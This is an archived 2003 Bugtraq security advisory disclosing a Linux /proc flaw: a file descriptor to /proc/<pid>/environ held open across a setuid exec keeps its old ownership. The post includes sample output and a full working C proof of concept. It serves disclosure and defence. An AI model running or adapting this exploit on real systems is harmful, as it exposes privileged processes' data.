The OpenNET Project
 
Search (keywords):  SOFT ARTICLES TIPS & TRICKS SECURITY
LINKS NEWS MAN DOCUMENTATION


Linux /proc sensitive information disclosure


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>
Date: Fri, 20 Jun 2003 14:55:48 +0200
From: Paul Starzetz <paul@starzetz.de>
To: bugtraq@securityfocus.com, vendor-sec <vendor-sec@lst.de>
Subject: Linux /proc sensitive information disclosure

--------------080600000809040900090900
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: 7bit

Hello,

attached a simple prrof of concept for the /proc filesystem disclosing 
sensitive information.

I noticed that opening an entry from /proc/self/ and keeping the file 
open while executing a setuid binary prevents the opened proc entry from 
changing the ownership from the initial user to the set-uid value. 
However I'm not very sure about the impact of this bug (feature), the 
attached code just reads the environment (which is per default mode 400).

The technique can not be applied to /proc/self/mem because the permision 
checks are made dynamically (the child must be ptraced etc.).

This is a sample output of the PoC:


paul@home:~/dev/expl> ./procex

parent executing setuid
PING 127.0.0.1 (127.0.0.1) from 127.0.0.1 : 56(84) bytes of data.
64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.066 ms
64 bytes from 127.0.0.1: icmp_seq=2 ttl=64 time=0.061 ms

child reads parent's proc:
PWD=/home/paul/..........

Content of /proc/32353
ls: /proc/32353/cwd: Permission denied
ls: /proc/32353/root: Permission denied
ls: /proc/32353/exe: Permission denied

-r--r--r--    1 root     root            0 Jun 20 14:47 cmdline
lrwxrwxrwx    1 root     root            0 Jun 20 14:47 cwd
-r--------    1 paul     users           0 Jun 20 14:47 environ [*]
lrwxrwxrwx    1 root     root            0 Jun 20 14:47 exe
[...]
-r--r--r--    1 root     root            0 Jun 20 14:47 status
64 bytes from 127.0.0.1: icmp_seq=3 ttl=64 time=0.060 ms

--- 127.0.0.1 ping statistics ---
3 packets transmitted, 3 received, 0% loss, time 1998ms
rtt min/avg/max/mdev = 0.060/0.062/0.066/0.007 ms

[*] as you can see here the ownership didn't change...

/ih


--------------080600000809040900090900
Content-Type: text/plain;
 name="procex-poc.c"
Content-Transfer-Encoding: 7bit
Content-Disposition: inline;
 filename="procex-poc.c"

/****************************************************************
*								*
*	Linux /proc information disclosure PoC			*
*	by IhaQueR						*
*								*
****************************************************************/



#include <stdio.h>
#include <unistd.h>
#include <fcntl.h>
#include <errno.h>
#include <signal.h>
#include <sys/types.h>
#include <sys/mman.h>
#include <sys/ptrace.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/types.h>



static char buf[128];



void fatal(const char *msg)
{
    printf("\n");
    if (!errno) {
	fprintf(stderr, "FATAL: %s\n", msg);
    } else {
	perror(msg);
    }

    printf("\n");
    fflush(stdout);
    fflush(stderr);
    exit(129);
}


int main()
{
    int fd, r;
    char c;

    sprintf(buf, "/proc/%d/environ", getpid());
    fd = open(buf, O_RDONLY);
    if (fd > 0) {
	sprintf(buf, "/proc/%d", getpid());
	if (fork()) {
	    printf("\nparent executing setuid\n");
	    fflush(stdout);
	    execl("/bin/ping", "ping", "-c", "3", "127.0.0.1", NULL);
	    fatal("execl");
	} else {
	    sleep(1);
	    printf("\nchild reads parent's proc:\n");
	    fflush(stdout);
	    while (1) {
		r = read(fd, &c, 1);
		if (r <= 0)
		    break;
		printf("%c", c);
	    }
	    printf("\n\nContent of %s\n", buf);
	    fflush(stdout);
	    execl("/bin/ls", "ls", "-l", buf, NULL);
	}
    } else
	fatal("open proc");

    printf("\n");
    fflush(stdout);

    return 0;
}

--------------080600000809040900090900--


<< Previous INDEX Search src Set bookmark Go to bookmark Next >>



Партнёры:
PostgresPro
Inferno Solutions
Hosting by Hoster.ru
Хостинг:

Закладки на сайте
Проследить за страницей
Created 1996-2024 by Maxim Chirkov
Добавить, Поддержать, Вебмастеру